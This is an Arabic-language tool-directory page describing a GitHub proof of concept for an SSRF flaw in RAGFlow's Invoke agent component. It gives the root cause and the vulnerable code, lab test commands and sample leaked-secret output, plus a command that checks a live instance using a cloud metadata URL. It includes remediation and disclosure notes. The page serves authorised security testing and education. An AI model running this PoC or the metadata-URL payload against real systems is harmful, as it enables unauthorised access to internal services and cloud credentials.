Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-75898 — إثبات المفهوم لـ CVE-2026-75898، وهو SSRF في مكوّن Invoke الخاص بـ RAGFlow. يوضّح الثغرة باستخدام المصدر غير المعدّل، ويتضمّن اختبارات E2E، ومقارنة الإصلاح، وإعادة إنتاج قائمة على Docker للاختبار الأمني المصرّح به. | Kitploit
أدوات/GitHubGitHub/t3bik/cve-2026-75898
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubt3bik/cve-2026-75898

CVE-2026-75898

إثبات المفهوم لـ CVE-2026-75898، وهو SSRF في مكوّن Invoke الخاص بـ RAGFlow. يوضّح الثغرة باستخدام المصدر غير المعدّل، ويتضمّن اختبارات E2E، ومقارنة الإصلاح، وإعادة إنتاج قائمة على Docker للاختبار الأمني المصرّح به.

عرض المستودع
10منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-75898 — ثغرة SSRF في مكوّن Invoke في RAGFlow

تزوير طلب من جانب الخادم (CWE-918) في مكوّن "Invoke" الخاص بسير عمل الوكيل في RAGFlow، قبل الإصدار 0.26.3.

CVECVE-2026-75898
CVSS8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
تم الإصلاح فيv0.26.3
التزامات الإصلاحc4fe68e, e16d1a0
مراجع المشكلاتinfiniflow/ragflow#15425, #18280
النشرة الأمنيةVulnCheck

السبب الجذري

في agent/component/invoke.py من الإصدار v0.26.2، يقوم مكوّن Invoke ببناء عنوان URL للطلب من قوالب متغيرات يوفّرها المستخدم ولا يجري أي تحقق من المضيف الذي تم حله:

root@kitploit:~
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url

يصل هذا العنوان إلى requests.get/post/put في _send_request(). نظرًا لأن allow_redirects يُترك على القيمة الافتراضية لـ requests (True)، يمكن للمهاجم:

  1. تعيين عنوان url الخاص بـ Invoke إلى عنوان داخلي (127.0.0.1, 169.254.169.254, نطاقات RFC1918، لا يوجد تثبيت للمضيف الذي تم حله)، أو
  2. توجيهه إلى مضيف يخص المهاجم يعيد التوجيه 302 إلى الشبكة الداخلية.

يضيف الإصلاح assert_url_is_safe() + pin_dns() ويفرض allow_redirects=False.

مصدر حقيقي، وليس إعادة تنفيذ

على عكس إعادة التنفيذ "الشبيهة"، يقوم هذا المستودع بتشغيل الكود المصدري غير المعدل v0.26.2 للمكوّن المعرض للثغرة:

  • target/invoke_v0.26.2.py — نسخة حرفية من agent/component/invoke.py من وسم v0.26.2.
  • e2e/test_genuine_ssrf.py — يحمّل هذا الملف الحقيقي خلف وحدات استيراد رقيقة (لا يستبدل الكعب إلا الواردات غير ذات الصلة: ComponentBase, مزخرف timeout و HtmlParser — لا يتم لمس أي من منطق مسار SSRF) ويثبت أن المكوّن يصل إلى خدمة داخلية مباشرة وعبر سلسلة إعادة توجيه.
  • e2e/test_fix_guard.py — يطبق الحارس من المنبع (assert_url_is_safe, allow_redirects=False) على نفس الملف تمامًا ويُظهر أن الطلبات محظورة.

قابلية إعادة الإنتاج

تم التحقق بثلاث طرق مستقلة:

  1. اختبار E2E محلي بالمستودع (بدون تثبيت RAGFlow): e2e/test_genuine_ssrf.py يدفع الكود المصدري غير المعدل target/invoke_v0.26.2.py ضد خوادم مختبرية على الحلقة المحلية — تم تأكيد SSRF.
  2. مقارنة الإصلاح: e2e/test_fix_guard.py يطبق حارس المنبع على نفس الملف — تم الحظر.
  3. مثيل Docker كامل: RAGFlow v0.26.2 (infinity+mysql+minio+valkey) عبر docker compose؛ عقدة Invoke في تدفق وكيل حقيقي جلبت INTERNAL-DB-SECRET:dbpassword=SuperSecret123 من منفذ مضيف داخلي. راجع LAB_DEMO.md للأدلة الحرفية.

تشغيل اختبار E2E المحلي

root@kitploit:~
cd e2e
python3 test_genuine_ssrf.py   # يجب أن يطبع SSRF confirmed (معرض للثغرة)
python3 test_fix_guard.py     # يجب أن يطبع BLOCKED (سلوك مُصلح)

المخرجات المتوقعة (معرض للثغرة)

root@kitploit:~
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed

فحص مثيل RAGFlow مباشر

يتطلب رمز جلسة مصادقًا عليه (يعمل Invoke داخل تدفق وكيل).

root@kitploit:~
python3 poc.py --poc                                        # اختبار E2E محلي
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/

الاكتشاف / المعالجة

  • قم بالترقية إلى RAGFlow ≥ 0.26.3.
  • قيّد قوالب عنوان URL لعقدة Invoke الخاصة بالوكيل بقائمة مسموح بها.
  • قم بتصفية نطاقات البيانات الوصفية الداخلية/السحابية من الواجهة الخلفية لـ RAGFlow عند الخروج.

الإفصاح

تم الإصلاح في RAGFlow v0.26.3 (أغسطس 2026). تم إعادة بناء هذا الـ PoC بشكل مستقل من النشرة العامة والتزامات الإصلاح لأغراض الاختبار الأمني المصرح به والتعليم فقط. غير تابع لـ InfiniFlow.

تنزيل الأداة